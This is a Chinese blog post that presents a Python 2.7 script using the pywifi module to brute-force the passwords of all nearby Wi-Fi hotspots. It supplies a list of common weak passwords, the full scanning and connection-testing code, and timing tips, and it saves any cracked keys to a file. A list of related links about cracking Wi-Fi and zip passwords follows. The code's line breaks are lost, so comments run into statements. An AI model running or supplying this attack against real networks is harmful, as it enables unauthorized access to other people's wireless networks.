上点python有意思的代码。

环境准备

  • python2.7
  • pywifi模块
  • 字典
  • 清除系统中的任何wifi连接记录

导入模块

这里用的模块就这三个 pywifi的_wifiutil_linux.py脚本的 _send_cmd_to_wpas方法中的if reply != b'OK\n':判断需要修改,不然会有很多的提示信息。

from pywifi import *
import time
import sys

字典准备

随机搞的wifi弱口令TOP10

  1. 12345678
  2. 123456789
  3. 88888888
  4. 1234567890
  5. 00000000
  6. 87654321
  7. 66668888
  8. 11223344
  9. 147258369
  10. 11111111

配置扫描器

推荐扫描时常可以设置在15-20秒之间 测试时常则可以自定义,考虑到认证速度于距离的关系,我一般设置在15左右,再久的也没意义 到时候就算破解成功的热点,信号也好不到哪里

def main():#扫描时常scantimes = 3#单个密码测试延迟testtimes = 15output = sys.stdout#结果文件保存路径files = "TestRes.txt"#字典列表keys = open(sys.argv[1],"r").readlines()print "|KEYS %s"%(len(keys))#实例化一个pywifi对象wifi = PyWiFi()#选择定一个网卡并赋值于ifaceiface = wifi.interfaces()[0]#通过iface进行一个时常为scantimes的扫描并获取附近的热点基础配置scanres = scans(iface,scantimes)#统计附近被发现的热点数量nums = len(scanres)print "|SCAN GET %s"%(nums)print "%s\n%-*s| %-*s| %-*s| %-*s | %-*s | %-*s %*s \n%s"%("-"*70,6,"WIFIID",18,"SSID OR BSSID",2,"N",4,"time",7,"signal",10,"KEYNUM",10,"KEY","="*70)#将每一个热点信息逐一进行测试for i,x in enumerate(scanres):#测试完毕后,成功的结果讲存储到files中res = test(nums-i,iface,x,keys,output,testtimes)if res:open(files,"a").write(res)

扫描周围热点

def scans(face,timeout):#开始扫描face.scan()time.sleep(timeout)#在若干秒后获取扫描结果return face.scan_results()

热点测试

这里后续推荐将扫描过程数据入库,防止重复扫描,且更加直观。

def test(i,face,x,key,stu,ts):#显示对应网络名称,考虑到部分中文名啧显示bssidshowID = x.bssid if len(x.ssid)>len(x.bssid) else x.ssid#迭代字典并进行爆破for n,k in enumerate(key):x.key = k.strip()#移除所有热点配置face.remove_all_network_profiles()#讲封装好的目标尝试连接face.connect(face.add_network_profile(x))#初始化状态码,考虑到用0会发生些逻辑错误code = 10t1 = time.time()#循环刷新状态,如果置为0则密码错误,如超时则进行下一个while code!=0 :time.sleep(0.1)code = face.status()now = time.time()-t1if now>ts:breakstu.write("\r%-*s| %-*s| %s |%*.2fs| %-*s |  %-*s %*s"%(6,i,18,showID,code,5,now,7,x.signal,10,len(key)-n,10,k.replace("\n","")))stu.flush()if code == 4:face.disconnect()return "%-*s| %s | %*s |%*s\n"%(20,x.ssid,x.bssid,3,x.signal,15,k)return False

案例

这里显示本次测试使用了11个弱口令,并扫描到了20个热点,然后开始坑爹的跑起来了

  • WIFIID 热点的id号 每跑一个会减1
  • SSID OR BSSID 热点的ssid名或mac地址
  • N 对热点的连接状态,这个在
  • time 当前所花去的时间
  • signal 热点的信号强度,若小越好
  • KEYNUM 测试密码的id 每跑一个会减1
  • KEY 当前测试的密码

Python尝试破解wifi无线密码相关推荐

  1. python小玩意——破解wifi数字密码

    代码功能: 通过创建8位数密码本,然后遍历连接你想要的wifi,不过这个只能连接密码是数字的哦~ 生成数字密码本: import itertools as itsimport datetimestar ...

  2. kali入门到放弃系列二:破解wifi无线密码

    前置条件: 建议在淘宝购买一个linux免驱动无线网卡(自己买过绿联,水星等等无线网卡,发现都不能做到linux免驱动) 先上一张破解过程的图 以下是正式流程: 1.kali系统登录后,执行 ifco ...

  3. aircrack_hashcat非字典高速破解目标无线密码

    目录 aircrack & hashcat 非字典高速破解目标无线密码 aircrack & hashcat 非字典高速破解目标无线密码 0x01 挂载好外置无线网卡 ​ 把用于抓包的 ...

  4. KaLinux破解查看无线密码

    KaLinux破解查看无线密码 https://www.acfun.cn/v/ac34527906?shareUid=37166771 查看网卡端口: airmon-ng 打开监听: airmon-n ...

  5. Python 暴力破解zip文件密码(相对简单的密码)

               Python 暴力破解zip文件密码(相对简单的密码) 密码的使用范围很广,首先,我们要明确密码的作用,其次要明白密码的类型. 密码的作用是进行权限的限制,判断用户的合法性,(不 ...

  6. Python练习-破解wifi密码

    #是这样的,本想着自己写点啥东西,用python,发现转一圈不知道啥好.就抱着学习的态度,研究了以下破解wifi密码的代码 先贴上代码,然后一段段分析 # coding:utf-8from tkint ...

  7. python代码破解wifi,含密码字典

    破解wifi密码 包括代码和密码字典 https://pan.baidu.com/s/1JvKd6VV8X7bamS-yK9nRyA?pwd=q7i5 提取码: q7i5 复制这段内容后打开百度网盘手 ...

  8. [转]如何使用BackTrack破解WIFI无线网络的WEP密钥

    aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (essid) (interface) 你可能已经知道如果你想要加锁自己的WIFI无线网络,你最 ...

  9. 如何使用BackTrack破解WIFI无线网络的WEP密钥

    你可能已经知道如果你想要加锁自己的WIFI无线网络,你最好选择WPA加密方式,因为WEP加密很容易被人破解.但是,你知道有多么的容易么?下面我们来看看吧. 注意:此帖是验证如何破解很少使用而陈旧的WE ...

最新文章

  1. linux install goolepinyin_Linux截图工具推荐(Ubuntu 18.04亲测)
  2. BaaS, IaaS, PaaS, SaaS介绍
  3. app.config自定义配置节点
  4. Matlab学习笔记——图形绘制
  5. php删除数组中的空元素_PHP | 从数组中删除所有出现的元素
  6. Android View框架总结(三)View工作原理
  7. jQuery 滚动条插件nicescroll 使用方法、常见配置和事件回调使用说明
  8. 跳步游戏2--返回最小跳步数
  9. VBA中调用Excel函数
  10. 谷歌play下载无法安装_否,您无法从Google Play下载32GB SD卡
  11. CP 15 协处理器
  12. 一个屌丝程序员的青春(一九一)
  13. 多肉商店html网页代码,[转载]国外多肉植物及种子购买网站(转载)
  14. SQL两张表如何关联
  15. uniapp图片或文件的预览和下载,兼容ios+安卓+浏览器
  16. L1-044 稳赢 - java
  17. Ubuntu下如何录制gif动态图
  18. 用ChatGPT处理Excel。。真有你的!
  19. html + thymeleaf 制作邮件模板
  20. JavaScript数据结构之 —— 08哈希表

热门文章

  1. p5.js创意编程——Q版人像绘制
  2. icon图标和文字对不齐(已解决)
  3. originPro2021(6)如何修改Origin里图例的顺序
  4. 90 后技术宅研发 Magi 一夜爆红,新一代知识化结构搜索新时代来了?
  5. html自动序号函数代码,自定义自动编号函数
  6. Countering the Influence of Essay Length in Neural Essay Scoring学习
  7. centos 温度监控软件
  8. 论文阅读:API-Net
  9. Springboot集成SpringSecurity(获取当前登录人)
  10. uvwmap的UVW含义简述